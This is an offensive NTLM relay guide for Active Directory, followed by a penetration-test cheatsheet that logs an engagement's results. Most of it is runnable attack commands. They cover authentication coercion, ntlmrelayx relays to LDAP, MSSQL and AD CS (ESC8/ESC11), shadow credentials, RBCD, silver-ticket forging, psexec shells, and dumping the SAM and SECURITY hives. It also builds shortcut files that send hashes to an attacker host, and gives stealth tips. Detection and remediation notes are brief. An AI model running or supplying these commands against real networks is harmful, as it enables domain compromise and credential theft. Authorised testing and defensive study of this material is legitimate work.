NTLM Relay Attacks Comprehensive Guide¶
Overview¶
NTLM Relay Attack Fundamentals
NTLM relay is an Adversary-in-the-Middle (AiTM) attack exploiting the lack of mutual authentication in NTLM:
- No Mutual Authentication: Clients cannot verify server legitimacy
- Session Hijacking: Establish authenticated sessions using relayed credentials
- Cross-Protocol Relay: Extract NTLM from one protocol, embed in another
- No Password Required: Relay authentication without knowing credentials
- Post-Relay Exploitation: Perform actions after establishing authenticated session
Authentication Coercion Techniques¶
PrinterBug (MS-RPRN)¶
PrinterBug Overview
Abuses Print Spooler service (MS-RPRN) to force authentication. Works on most Windows systems as Print Spooler is enabled by default.
Enumeration¶
# Check if Print Spooler is running
rpcclient -U "" -N $DC_IP -c "enumprinters"
# Check with crackmapexec
crackmapexec smb $TARGET_IP -u $USER -p $PASSWORD -M printerbug
Exploitation¶
# Basic SMB coercion
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET_IP $ATTACKER_IP
# With hash authentication
python3 printerbug.py $DOMAIN/$USER@$TARGET_IP $ATTACKER_IP -hashes :$NTHASH
# HTTP coercion (requires WebDAV)
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET_IP $ATTACKER_NAME@80/print
PetitPotam (MS-EFSR)¶
PetitPotam Overview
Exploits Encrypting File System Remote Protocol (MS-EFSR) for authentication coercion. More methods than PrinterBug but often requires authentication.
Exploitation¶
# Authenticated coercion
python3 PetitPotam.py -u $USER -p '$PASSWORD' -d $DOMAIN $ATTACKER_IP $TARGET_IP
# Unauthenticated (if vulnerable)
python3 PetitPotam.py $ATTACKER_IP $TARGET_IP
# HTTP coercion with WebDAV
python3 PetitPotam.py -u $USER -p '$PASSWORD' -d $DOMAIN $ATTACKER_NAME@80/files $TARGET_IP
Coercer (Multi-Protocol)¶
Coercer Overview
Comprehensive tool testing 17 different coercion methods across multiple protocols.
Exploitation¶
# Scan for vulnerable methods
python3 Coercer.py scan -t $TARGET_IP -u $USER -p '$PASSWORD' -d $DOMAIN -v
# Execute all coercion methods
python3 Coercer.py coerce -t $TARGET_IP -l $ATTACKER_IP -u $USER -p '$PASSWORD' -d $DOMAIN --always-continue
# HTTP coercion (Coercer v1.6+)
python3 Coercer.py -t $TARGET_IP -u $USER -p '$PASSWORD' -wh $ATTACKER_NAME -wp 80 -v
WebDAV Coercion¶
WebDAV Overview
Forces authentication over HTTP using WebClient service and searchConnector files.
Enable WebDAV¶
# Check WebDAV status
crackmapexec smb $TARGET_NETWORK -u $USER -p '$PASSWORD' -M webdav
# Deploy searchConnector to enable WebClient
cat > @search.searchConnector-ms << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
<description>Microsoft Outlook</description>
<isSearchOnlyItem>false</isSearchOnlyItem>
<includeInStartMenuScope>true</includeInStartMenuScope>
<templateInfo>
<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
</templateInfo>
<simpleLocation>
<url>https://$ATTACKER_IP/</url>
</simpleLocation>
</searchConnectorDescription>
EOF
# Upload to share
smbclient //$TARGET_IP/$SHARE -U $USER%'$PASSWORD' -c "put @search.searchConnector-ms"
# Or use crackmapexec module
crackmapexec smb $TARGET_IP -u $USER -p '$PASSWORD' -M drop-sc \
-o URL=https://$ATTACKER_IP/test SHARE=$SHARE FILENAME=@search
Trigger WebDAV Authentication¶
# From target machine (if you have RCE)
certutil -urlcache -f http://$ATTACKER_IP:8080/@test.searchConnector-ms @test.searchConnector-ms
# Or browse to share containing searchConnector file
# User navigates to \\$TARGET\$SHARE\ and WebClient activates
MSSQL Coercion¶
MSSQL xp_dirtree Overview
Force SQL Server to authenticate via SMB using directory traversal stored procedures.
Exploitation¶
-- Connect to MSSQL
mssqlclient.py $SQL_USER:'$SQL_PASSWORD'@$SQL_SERVER
-- Force SMB authentication
SQL> EXEC xp_dirtree '\\$ATTACKER_IP\share', 1, 1;
-- Alternative methods
SQL> EXEC xp_fileexist '\\$ATTACKER_IP\share\file.txt';
SQL> EXEC xp_subdirs '\\$ATTACKER_IP\share';
Cross-Protocol Relay Attacks¶
SMB to LDAP Relay¶
SMB → LDAP for Domain Escalation
Relay SMB authentication to LDAP for domain enumeration, user creation, or privilege escalation.
Prerequisites¶
- SMB signing disabled on source
- LDAP signing not enforced
- Valid domain credentials for coercion
Exploitation¶
# Terminal 1: Start relay to LDAP
sudo ntlmrelayx.py -t ldap://$DC_IP -smb2support --no-da --no-acl --no-dump
# Domain enumeration (safe)
sudo ntlmrelayx.py -t ldap://$DC_IP -smb2support --no-da --no-acl --no-dump --lootdir ldap_dump
# Create computer account
sudo ntlmrelayx.py -t ldaps://$DC_IP -smb2support --add-computer 'EVIL$' 'Password123!' --no-dump --no-acl
# Escalate user privileges
sudo ntlmrelayx.py -t ldap://$DC_IP -smb2support --escalate-user '$USER' --no-dump
# Terminal 2: Trigger authentication
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET_IP $ATTACKER_IP
HTTP to LDAP Relay (Shadow Credentials)¶
HTTP → LDAP Shadow Credentials Attack
Relay HTTP authentication to LDAP to set shadow credentials for passwordless authentication.
Exploitation¶
# Terminal 1: Configure Responder (disable HTTP/SMB)
sed -i 's/HTTP = On/HTTP = Off/g' Responder.conf
sed -i 's/SMB = On/SMB = Off/g' Responder.conf
# Terminal 2: Start ntlmrelayx for shadow credentials
sudo ntlmrelayx.py -t ldap://$DC_IP --shadow-credentials --shadow-target $TARGET_USER --no-dump --no-acl
# Terminal 3: Start Responder
sudo python3 Responder.py -I $INTERFACE
# Terminal 4: Coerce HTTP authentication (if WebDAV enabled)
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET_IP $ATTACKER_NAME@80/print
# After successful relay, use the certificate
python3 gettgtpkinit.py -cert-pfx $TARGET_USER.pfx -pfx-pass $CERT_PASSWORD \
$DOMAIN/$TARGET_USER $TARGET_USER.ccache
# Get NTLM hash
KRB5CCNAME=$TARGET_USER.ccache python3 getnthash.py -key $AS_REP_KEY $DOMAIN/$TARGET_USER
SMB to MSSQL Relay¶
SMB → MSSQL for Database Access
Relay SMB authentication to MSSQL for database access and command execution.
Exploitation¶
# Terminal 1: Start relay with SOCKS
sudo ntlmrelayx.py -t mssql://$SQL_SERVER -smb2support -socks
# Terminal 2: Trigger SMB authentication
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET_IP $ATTACKER_IP
# Terminal 3: Use SOCKS proxy
proxychains4 -q mssqlclient.py $DOMAIN/$USER@$SQL_SERVER -windows-auth -no-pass
# Execute commands if sysadmin
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';
AD CS Relay Attacks (ESC8 & ESC11)¶
ESC8 - HTTP Relay to Web Enrollment¶
ESC8 Overview
Relay NTLM authentication to AD CS web enrollment endpoints to obtain certificates for machine accounts.
Enumeration¶
# Find AD CS servers
crackmapexec ldap $DC_NETWORK -u $USER -p '$PASSWORD' -M adcs
# List certificates and check for ESC8
certipy find -enabled -u $USER@$DC_IP -p '$PASSWORD' -stdout
# Check web enrollment accepts NTLM
curl -I http://$CA_SERVER/certsrv/
# Look for: WWW-Authenticate: NTLM
Exploitation Method 1: ntlmrelayx¶
# Terminal 1: Setup relay to web enrollment
sudo ntlmrelayx.py -t http://$CA_SERVER/certsrv/certfnsh.asp \
-smb2support --adcs --template Machine
# Terminal 2: Coerce authentication
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET_COMPUTER $ATTACKER_IP
# Process the base64 certificate
echo -n "$BASE64_CERT" | base64 -d > $TARGET_COMPUTER.pfx
# Request TGT using certificate
python3 gettgtpkinit.py -dc-ip $DC_IP -cert-pfx $TARGET_COMPUTER.pfx \
$DOMAIN/$TARGET_COMPUTER$ $TARGET_COMPUTER.ccache
# Note the AS-REP encryption key
# Extract NT hash from TGT
KRB5CCNAME=$TARGET_COMPUTER.ccache python3 getnthash.py \
$DOMAIN/$TARGET_COMPUTER$ -key $AS_REP_KEY
Exploitation Method 2: Certipy (Simplified)¶
# Terminal 1: Setup relay (as root)
sudo certipy relay -target "http://$CA_SERVER" -template Machine
# Terminal 2: Coerce authentication
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET_COMPUTER $ATTACKER_IP
# Extract NT hash directly
certipy auth -pfx $TARGET_COMPUTER.pfx -dc-ip $DC_IP
# Output: aad3b435b51404eeaad3b435b51404ee:$NT_HASH
Post-Exploitation: Silver Ticket Attack¶
# Get domain SID
lookupsid.py $DOMAIN/$TARGET_COMPUTER$@$DC_IP -hashes :$NT_HASH
# Example: S-1-5-21-1207890233-375443991-2397730614
# Forge silver ticket for Administrator
ticketer.py -nthash $NT_HASH \
-domain-sid $DOMAIN_SID \
-domain $DOMAIN_FQDN \
-spn cifs/$TARGET_COMPUTER.$DOMAIN_FQDN Administrator
# Use ticket to access target
KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass $TARGET_COMPUTER.$DOMAIN_FQDN
# Get flag or perform actions
C:\> type C:\Users\Administrator\Desktop\flag.txt
ESC11 - RPC Relay to ICPR Endpoints¶
ESC11 Overview
Exploits ICertPassage Remote Protocol when encryption is not enforced, allowing relay over RPC.
Enumeration¶
# Check for ESC11 vulnerability
certipy find -enabled -u $USER@$DC_IP -p '$PASSWORD' -stdout
# Look for: "ESC11: Encryption is not enforced for ICPR requests"
Exploitation¶
# Terminal 1: Setup relay to RPC/ICPR endpoint
sudo certipy relay -target "rpc://$CA_SERVER" -ca "$CA_NAME"
# Terminal 2: Coerce authentication
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET_COMPUTER $ATTACKER_IP
# Extract NT hash from certificate
certipy auth -pfx $TARGET_COMPUTER.pfx -dc-ip $DC_IP
# Continue with silver ticket attack (same as ESC8)
Resource-Based Constrained Delegation (RBCD)¶
Overview¶
RBCD Attack Fundamentals
Abuse computer account creation and delegation to compromise high-value targets.
RBCD Attack Chain¶
# Check MachineAccountQuota
crackmapexec ldap $DC_IP -u $USER -p '$PASSWORD' -M maq
# Method 1: Create computer account via relay
# Terminal 1: Start relay
sudo ntlmrelayx.py -t ldaps://$DC_IP --add-computer 'EVIL$' 'Password123!' --no-dump
# Terminal 2: Trigger authentication
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET $ATTACKER_IP
# Method 2: Direct creation (if MAQ > 0)
impacket-addcomputer -dc-ip $DC_IP -computer-name 'EVIL$' \
-computer-pass 'Password123!' $DOMAIN/$USER:'$PASSWORD'
# Configure RBCD
impacket-rbcd $DOMAIN/$USER:'$PASSWORD' -delegate-to '$TARGET_COMPUTER$' \
-delegate-from 'EVIL$' -action write -dc-ip $DC_IP
# Request service ticket
impacket-getST -spn cifs/$TARGET_COMPUTER.$DOMAIN -impersonate Administrator \
-dc-ip $DC_IP $DOMAIN/'EVIL$':'Password123!'
# Use ticket
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass $TARGET_COMPUTER.$DOMAIN
SOCKS Proxy Relay¶
Overview¶
SOCKS Proxy Benefits
Maintain authenticated sessions indefinitely for multiple attacks without re-exploitation.
SOCKS Configuration¶
# Terminal 1: Start relay with SOCKS
sudo ntlmrelayx.py -tf targets.txt -smb2support -socks
# Terminal 2: Configure proxychains
echo "socks4 127.0.0.1 1080" >> /etc/proxychains4.conf
# Terminal 3: Trigger authentication
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET $ATTACKER_IP
# Terminal 4: Use authenticated sessions
# Check active sessions
ntlmrelayx> socks
# Use sessions through proxychains
proxychains4 -q smbexec.py $DOMAIN/$USER@$TARGET -no-pass
proxychains4 -q mssqlclient.py $DOMAIN/$USER@$SQL_SERVER -windows-auth -no-pass
proxychains4 -q secretsdump.py $DOMAIN/$USER@$TARGET -no-pass
Responder Poisoning¶
Overview¶
LLMNR/NBT-NS/mDNS Poisoning
Poison name resolution protocols to capture authentication attempts.
Poisoning Attacks¶
# Analyze mode (reconnaissance)
sudo python3 Responder.py -I $INTERFACE -A
# Full poisoning mode
sudo python3 Responder.py -I $INTERFACE
# Poisoning with relay (disable SMB/HTTP)
sed -i 's/SMB = On/SMB = Off/g' Responder.conf
sed -i 's/HTTP = On/HTTP = Off/g' Responder.conf
sudo python3 Responder.py -I $INTERFACE
# Start relay in another terminal
sudo ntlmrelayx.py -t ldap://$DC_IP -smb2support --escalate-user $USER
Hash Farming Techniques¶
SMB Share Poisoning¶
Malicious File Deployment
Deploy files that trigger authentication when accessed.
Create Malicious Files¶
# Generate all file types
python3 ntlm_theft.py -g all -s $ATTACKER_IP -f '@capture'
# Create custom .lnk file
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("@capture.lnk")
$Shortcut.TargetPath = "\\$ATTACKER_IP\share"
$Shortcut.IconLocation = "\\$ATTACKER_IP\icon"
$Shortcut.Save()
# Create .url file
cat > @capture.url << EOF
[InternetShortcut]
URL=file://$ATTACKER_IP/share
IconFile=\\$ATTACKER_IP\icon.ico
IconIndex=0
EOF
# Create .scf file
cat > @capture.scf << EOF
[Shell]
Command=2
IconFile=\\$ATTACKER_IP\share\icon.ico
[Taskbar]
Command=ToggleDesktop
EOF
Deploy to Shares¶
# Find writable shares
crackmapexec smb $TARGET_NETWORK -u $USER -p '$PASSWORD' --shares -M write_test
# Upload malicious files
smbclient //$TARGET_IP/$SHARE -U $USER%'$PASSWORD' \
-c "put @capture.lnk; put @capture.url; put @capture.scf"
# Monitor for captures
sudo responder -I $INTERFACE -v
Tool Configuration¶
Required Tools Installation¶
# Responder
git clone https://github.com/lgandx/Responder
# Impacket suite
git clone https://github.com/fortra/impacket
cd impacket && pip3 install .
# Certipy
pip3 install certipy-ad
# PKINITtools
git clone https://github.com/dirkjanm/PKINITtools
# Coercer
git clone https://github.com/p0dalirius/Coercer
# PetitPotam
git clone https://github.com/topotam/PetitPotam
# PrinterBug
wget https://raw.githubusercontent.com/dirkjanm/krbrelayx/master/printerbug.py
# ntlm_theft
git clone https://github.com/Greenwolf/ntlm_theft
Attack Decision Matrix¶
Quick Attack Selection Guide
| Source Protocol | Target Service | Attack Type | Requirements | Impact |
|---|---|---|---|---|
| SMB | SMB | Direct Relay | No signing | System access |
| SMB | LDAP | Privilege Escalation | No LDAP signing | Domain escalation |
| HTTP | LDAP | Shadow Credentials | WebDAV enabled | Persistence |
| SMB/HTTP | AD CS | ESC8/ESC11 | Web enrollment | Certificate theft |
| SMB | MSSQL | Database Access | Windows auth | Data access |
| Any | Multiple | SOCKS Proxy | Valid relay | Session persistence |
OPSEC Considerations¶
Detection Indicators
High-Risk Events:
- Event 4624: Type 3 logons from same source
- Event 4625: Multiple failed authentications
- Event 4697: Service installation (Responder)
- Event 4662: DCSync operations
- Event 4886/4887: Certificate enrollment
Stealth Tips:
- Use analyze mode before poisoning
- Target specific hosts vs broadcast
- Operate during business hours
- Use SOCKS to minimize re-exploitation
- Clean up created accounts
Complete Attack Walkthrough Example¶
Scenario: Compromise DC via AD CS Relay¶
# Step 1: Enumerate AD CS
certipy find -enabled -u $USER@$DC_IP -p '$PASSWORD' -stdout
# Found: ESC8 and ESC11 vulnerabilities
# Step 2: Setup relay (Terminal 1)
sudo certipy relay -target "http://$CA_SERVER" -template Machine
# Step 3: Coerce authentication (Terminal 2)
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET_COMPUTER $ATTACKER_IP
# Step 4: Process certificate
certipy auth -pfx $TARGET_COMPUTER.pfx -dc-ip $DC_IP
# Got hash: aad3b435b51404eeaad3b435b51404ee:$NT_HASH
# Step 5: Get domain SID
lookupsid.py $DOMAIN/$TARGET_COMPUTER$@$DC_IP -hashes :$NT_HASH
# Domain SID: S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX
# Step 6: Create silver ticket
ticketer.py -nthash $NT_HASH \
-domain-sid $DOMAIN_SID \
-domain $DOMAIN_FQDN \
-spn cifs/$TARGET_COMPUTER.$DOMAIN_FQDN Administrator
# Step 7: Get shell
KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass $TARGET_COMPUTER.$DOMAIN_FQDN
# Step 8: Dump domain
C:\> reg save HKLM\SYSTEM system.hive
C:\> reg save HKLM\SECURITY security.hive
C:\> reg save HKLM\SAM sam.hive
Best Practices¶
Attack Methodology
Enumerate First
- Check SMB signing status
- Identify AD CS configuration
- Find WebDAV enabled hosts
- Test coercion methods
Choose Attack Path
- Prefer cross-protocol for bypassing restrictions
- Use SOCKS for persistent access
- Target high-value accounts
Execute Cleanly
- Disable unnecessary Responder servers
- Use targeted poisoning
- Monitor for defensive responses
Maintain Access
- Use shadow credentials for persistence
- Keep SOCKS sessions active
- Document all compromised systems
Pro Tips
- Always check for WebDAV before HTTP coercion
- Use SOCKS proxy to minimize detection
- Combine relay with RBCD for flexibility
- Target computer accounts for ESC8/ESC11
- Monitor certificate enrollment logs
- Use proxychains for all post-exploitation
- Keep detailed logs for reporting
- Test coercion methods in order of stealth
- Clean up created accounts and certificates
- Document the full attack chain
References¶
Additional Resources
Authentication Coercion & NTLM Relay — Cheatsheet¶
Purpose: Force a target (usually a DC) to NTLM-authenticate to your box, then relay that auth to a privileged service (LDAP/LDAPS for RBCD/shadow-cred, ADCS web for ESC8) to gain a takeover primitive without cracking anything.
Prereqs / context: Linux-first, domain-joined operator box (<ATTACKER_HOST> / machine acct <ATTACKER_HOST>$, IP <ATTACKER_IP>). Coercion needs any valid domain creds (<USER>:<USER_PW> — pick the account whose realm matches the target DC). Relay needs a relay target that does NOT enforce signing / channel binding — that is the entire win condition, and it is target-side. Tooling pinned to a known-good Impacket (engagement ran v0.14.0.dev0), coercer, certipy, netexec.
0. Pre-flight: does the relay even have a chance? (check the precondition FIRST)¶
Relay only works where the target service does not enforce signing / EPA. Triage before you coerce anything — otherwise you generate loud DC→operator callbacks for a relay that can never land.
nxc ldap <DC_IP> -u <USER> -p <USER_PW> -M ldap-checker # LDAP signing + channel binding (LDAPS/EPA) status on the DC — the make-or-break for LDAPS relay
nxc smb <DC_IP>/24 -u <USER> -p <USER_PW> --gen-relay-list /tmp/relayable.txt # enumerate hosts with SMB signing NOT required (SMB then SMB relay candidates)
certipy find -k -target <DC_FQDN> -stdout -vulnerable # is ADCS web enrollment (ESC8) present? look for "Web Enrollment : Enabled"
curl -s -o /dev/null -w '%{http_code}\n' http://<CA_HOST>/certsrv/certfnsh.asp # ESC8 reachability probe; connection refused / 404 == web enroll disabled == no ESC8
A bind failing with Failed to bind to LDAP. LDAP channel binding or signing is required. Use -scheme ldaps is your tell that the LDAPS relay leg will be rejected — see the notes below.
1. Stand up the relay listener (do this BEFORE coercing)¶
Pick the target/attack to match the primitive you want. Leave it running; coercion in step 2 feeds it.
ntlmrelayx.py -t ldaps://<DC_IP> --remove-mic -smb2support --shadow-credentials -debug -ts | tee /tmp/relay.log # relay DC machine-auth to LDAPS, add msDS-KeyCredentialLink (shadow cred) then PKINIT. --remove-mic = CVE-2019-1040
ntlmrelayx.py -t ldaps://<DC_IP> --remove-mic -smb2support --delegate-access --escalate-user '<FOOTHOLD>$' # write RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity) on the relayed computer, granting <FOOTHOLD>$ delegation
ntlmrelayx.py -t http://<CA_HOST>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController # ESC8: relay a coerced DC to ADCS web enroll, get a DC cert then PKINIT (template User/Machine for non-DC victims)
ntlmrelayx.py -tf /tmp/relayable.txt -smb2support -socks # SMB then SMB to signing-disabled hosts, drop relayed sessions into a SOCKS pool
Useful flags (from ntlmrelayx.py -h): --remove-mic (strip MIC, CVE-2019-1040), --remove-sign-seal, --delegate-access, --escalate-user, --shadow-credentials / --shadow-target, --adcs --template --altname, -i (interactive LDAP/SMB shell on success), -socks, -6 (IPv6), -wh <WPAD_HOST>.
2. Fire the coercion (force the DC to auth back to <ATTACKER_IP>)¶
One-shot, all vectors — coercer (what the engagement used)¶
coercer coerce -u <USER> -p <USER_PW> -d <DOMAIN> -t <DC_IP> -l <ATTACKER_IP> --always-continue # spray every method on every reachable RPC interface; --always-continue = don't stop on per-method errors
coercer coerce -u <USER> -p <USER_PW> -d <DOMAIN> -t <DC_IP> -l <ATTACKER_IP> --filter-method-name EfsRpcEncryptFileSrv --always-continue # surgical: only the EFSR method that fires here (less noise than the full spray)
coercer coerce -k --no-pass -d <DOMAIN> -t <DC_FQDN> -l <ATTACKER_IP> --always-continue # Kerberos variant (uses KRB5CCNAME); use FQDN target so the SPN resolves
Match the account realm to the DC: in a multi-child forest, coerce a
<CHILD>DC with a<CHILD>user. Cross-realm password binds get rejected before the trigger.
Per-protocol single-purpose tools (when you want one clean trigger / a different RPC fingerprint)¶
PetitPotam.py -u <USER> -p <USER_PW> -d <DOMAIN> <ATTACKER_IP> <DC_IP> # MS-EFSR (\PIPE\efsrpc) EfsRpc* — the classic PetitPotam (CVE-2021-36942)
printerbug.py '<DOMAIN>/<USER>:<USER_PW>@<DC_IP>' <ATTACKER_IP> # MS-RPRN (\PIPE\spoolss) RpcRemoteFindFirstPrinterChangeNotificationEx — PrinterBug
dfscoerce.py -u <USER> -p '<USER_PW>' -d <DOMAIN> <ATTACKER_IP> <DC_IP> # MS-DFSNM (\PIPE\netdfs) NetrDfsAddStdRoot — DFSCoerce
shadowcoerce.py -u <USER> -p '<USER_PW>' -d <DOMAIN> <ATTACKER_IP> <DC_IP> # MS-FSRVP (\PIPE\FssagentRpc) IsPathSupported/IsPathShadowCopied — ShadowCoerce
coercer coerce -u <USER> -p <USER_PW> -d <DOMAIN> -t <DC_IP> -l <ATTACKER_IP> --filter-method-name ElfrOpenBELW --always-continue # MS-EVEN (\PIPE\eventlog) ElfrOpenBELW — event-log backup coercion
Always capture the wire so you can prove the source-side trigger fired even when the relay leg dies:
sudo tcpdump -i any -nn "host <DC_IP> and (port 445 or port 135)" -w /tmp/coerce-<DC>.pcap # DC then operator:445 SMB callback == coercion fired regardless of relay outcome
Coercion vector status (THIS engagement, DCs across <CHILD> domains)¶
| Vector | Tool / pipe | RPC method | Result |
|---|---|---|---|
| MS-EFSR (PetitPotam) | \PIPE\efsrpc |
EfsRpcEncryptFileSrv |
FIRES — outbound NTLM from DC (live) |
| MS-EVEN | \PIPE\eventlog |
ElfrOpenBELW |
FIRES — outbound NTLM from DC (live) |
| MS-DFSNM (DFSCoerce) | \PIPE\netdfs |
NetrDfsAddStdRoot |
BLOCKED — NO_AUTH_RECEIVED / SMB_STATUS_PIPE_DISCONNECTED |
| MS-RPRN (PrinterBug) | \PIPE\spoolss |
RpcRemoteFindFirst… |
BLOCKED — pipe not accessible (Spooler disabled) |
| MS-FSRVP (ShadowCoerce) | \PIPE\FssagentRpc |
IsPathSupported |
BLOCKED — interface unreachable |
RPC interface UUIDs for filter rules / detections: EFSR df1941c5-fe89-4e79-bf10-463657acf44d · EVEN 82273fdc-e32a-18c3-3f78-827929dc23ea · DFSNM 4fc742e0-4a10-11cf-8273-00aa004ae673.
3. Cash in a SUCCESSFUL relay (when the target does NOT enforce CB/signing)¶
# Shadow Credentials: ntlmrelayx --shadow-credentials drops a .pfx + prints the PKINIT line. Then:
certipy auth -pfx <VICTIM>.pfx -dc-ip <DC_IP> # PKINIT with the injected key then TGT + the victim's NT hash (no cracking)
# RBCD: after --delegate-access wrote msDS-AllowedToActOnBehalfOfOtherIdentity on <TARGET>$:
getST.py -spn cifs/<TARGET_FQDN> -impersonate administrator -dc-ip <DC_IP> '<DOMAIN>/<FOOTHOLD>$' -hashes :<NT_HASH> # S4U2self+proxy then Administrator service ticket
KRB5CCNAME=administrator@cifs_<TARGET_FQDN>@<REALM>.ccache wmiexec.py -k -no-pass <TARGET_FQDN> # use the ticket
# ESC8: ntlmrelayx --adcs saves the cert; then certipy auth -pfx <DC>.pfx -dc-ip <DC_IP> then DC TGT then DCSync.
What Went Wrong¶
- LDAPS relay FAILED on every child DC — LDAP channel binding/signing is enforced. The path-to-DA (coerce DC-A → relay to DC-B over LDAPS → write
msDS-KeyCredentialLink→ PKINIT → DCSync) is CLOSED. Coercion fires at the source, the DC→operator SMB callback lands (pcap-confirmed), then the relay leg is rejected. Two observable shapes of the same failure: - Clean reject:
[-] (SMB): Authenticating against ldaps://<DC_IP> as <CHILD>/<DC>$ FAILED(seen for EU/NA/AP DCs). - Crash on the dev build: the LDAPS bind returns no session, then ntlmrelayx throws
AttributeError: 'NoneType' object has no attribute 'connection_lock'inclients/ldaprelayclient.py … sendNegotiate. Same root cause (bind rejected by channel binding), uglier symptom. Treat the traceback as "CB enforced," not a tooling bug to chase. certipy/LDAP cross-realm bind error = your CB canary:Failed to bind to LDAP. LDAP channel binding or signing is required. Use -scheme ldaps. If you see this anywhere, assume LDAPS relay to that DC is dead.- Coercer per-method output is noisy and misleading. Expect
RPC_S_ACCESS_DENIEDon some EFSR methods (e.g.EfsRpcAddUsersToFile) whileEfsRpcEncryptFileSrvstill fires.NO_AUTH_RECEIVEDmeans coercer didn't see auth on its own listener — it does not prove the DC stayed silent. Always cross-check the tcpdump for the DC→<ATTACKER_IP>:445callback before concluding a vector is dead. - DFSCoerce/PrinterBug/ShadowCoerce are patched/disabled here (
netdfsreturnsSMB_STATUS_PIPE_DISCONNECTED;spoolssandFssagentRpcare unreachable). Don't waste cycles; lead with EFSR + EVEN. - ESC8 is unavailable — web enrollment disabled on all CAs (
certsrv/certfnsh.asprefused; NDEScertsrv/mscep/alsoConnection refused). No ADCS-web relay target exists, so the relay-to-DA chain has no ESC8 fallback either. - Net result: the relay-to-DA chain is CLOSED across the forest. The only residual is the coercion primitive itself (forced DC machine-auth) — valuable solely if a future relay target regresses (a server brought up without SMB signing / LDAP EPA).
--remove-micis mandatory for SMB→LDAP cross-protocol relay (CVE-2019-1040); without it the MIC binds the auth to SMB and the LDAP relay is dropped. It does not help against channel binding — that's a separate, target-side control.
Detection / OPSEC¶
- You are loud at the source. Coercion = DC Security
5145(named-pipe access on\PIPE\efsrpc/\PIPE\eventlog), Sysmon Event 18 (pipe connect) + Event 3 (DC outbound SMB to a non-server endpoint =<ATTACKER_IP>:445),4624/4776, and Defender for Identity "Suspected forced authentication / NTLM relay." A DC initiating outbound SMB to a workstation IP is the highest-fidelity tell. - The engagement box ran no MDE (Rapid7 + Bitdefender + firewalld), but EDRs fingerprint the
coercer/ntlmrelayx/PetitPotam.pyprocess and listener patterns directly. Prefer the single-method--filter-method-nametrigger over the full spray to cut event volume. - Remediation to recommend: D3-RPCF RPC-interface filtering (RPC Firewall) on the EFSR and Eventlog UUIDs; enforce LDAP signing + channel binding (EPA) and SMB signing everywhere (the control that is currently breaking this chain); keep ADCS web enrollment disabled / EPA-enforced if ever re-enabled. (ATT&CK T1187 → T1557.001; D3FEND D3-RPCF, D3-NTA.)
Cleanup¶
- Coercion + a failed relay leave no AD-side artifacts (no object was written). Just remove your pcaps (
/tmp/coerce-*.pcap,/tmp/v2-*.pcap) and relay logs (/tmp/relay*.log) from the operator box. - If a relay succeeded:
--shadow-credentialsauto-restores the originalmsDS-KeyCredentialLink(verify withbloodyAD ... get object <VICTIM> --attr msDS-KeyCredentialLink). For--delegate-access, clear the RBCD you wrote:bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <USER_PW> remove rbcd '<TARGET>$' '<FOOTHOLD>$'. Delete any ADCS-issued certs/PFX from loot.
References¶
- Coercer — https://github.com/p0dalirius/Coercer
- Impacket ntlmrelayx / examples — https://github.com/fortra/impacket
- PetitPotam (MS-EFSR, CVE-2021-36942) — https://github.com/topotam/PetitPotam · MS advisory ADV210003
- DFSCoerce — https://github.com/Wh04m1001/DFSCoerce · ShadowCoerce — https://github.com/ShutdownRepo/ShadowCoerce · PrinterBug (
printerbug.pyin impacket / Dementor) - Certipy (ESC8 relay + PKINIT) — https://github.com/ly4k/Certipy
- netexec
ldap-checker(LDAP signing/CB) — https://www.netexec.wiki - The Hacker Recipes — NTLM relay & forced auth — https://www.thehacker.recipes/a-d/movement/ntlm/relay and
/a-d/movement/mitm-and-coerced-authentications
Source files mined (absolute paths): C:\Users\Cezar\Documents\For_Progress\ttp_detection_log.md (Day 1 vector-by-vector results, RPC UUIDs, relay-fail evidence), C:\Users\Cezar\Documents\For_Progress\report_source_inventory.md (F8 coercion residual, phase-1 verdict, timeline 05-18), C:\Users\Cezar\Documents\For_Progress\findings_detailed.md (F7 writeup), and C:\Users\Cezar\Documents\For_Progress\logs\2026-05-18_*.log (exact coercer/ntlmrelayx invocations, Authenticating … FAILED lines, the connection_lock traceback, NO_AUTH_RECEIVED/SMB_STATUS_PIPE_DISCONNECTED per-method output).